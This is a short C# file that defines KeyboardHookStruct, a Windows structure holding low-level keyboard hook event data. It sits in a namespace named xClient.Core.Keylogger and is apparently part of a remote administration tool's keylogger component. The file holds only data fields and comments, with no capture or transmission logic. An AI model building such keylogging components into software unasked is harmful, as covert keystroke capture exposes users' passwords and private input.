// This code is distributed under MIT license. // Copyright (c) 2015 George Mamaladze // See license.txt or http://opensource.org/licenses/mit-license.php using System.Runtime.InteropServices; namespace xClient.Core.Keylogger.WinApi { /// /// The KeyboardHookStruct structure contains information about a low-level keyboard input event. /// /// /// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookstructures/cwpstruct.asp /// [StructLayout(LayoutKind.Sequential)] internal struct KeyboardHookStruct { /// /// Specifies a virtual-key code. The code must be a value in the range 1 to 254. /// public int VirtualKeyCode; /// /// Specifies a hardware scan code for the key. /// public int ScanCode; /// /// Specifies the extended-key flag, event-injected flag, context code, and transition-state flag. /// public int Flags; /// /// Specifies the Time stamp for this message. /// public int Time; /// /// Specifies extra information associated with the message. /// public int ExtraInfo; } }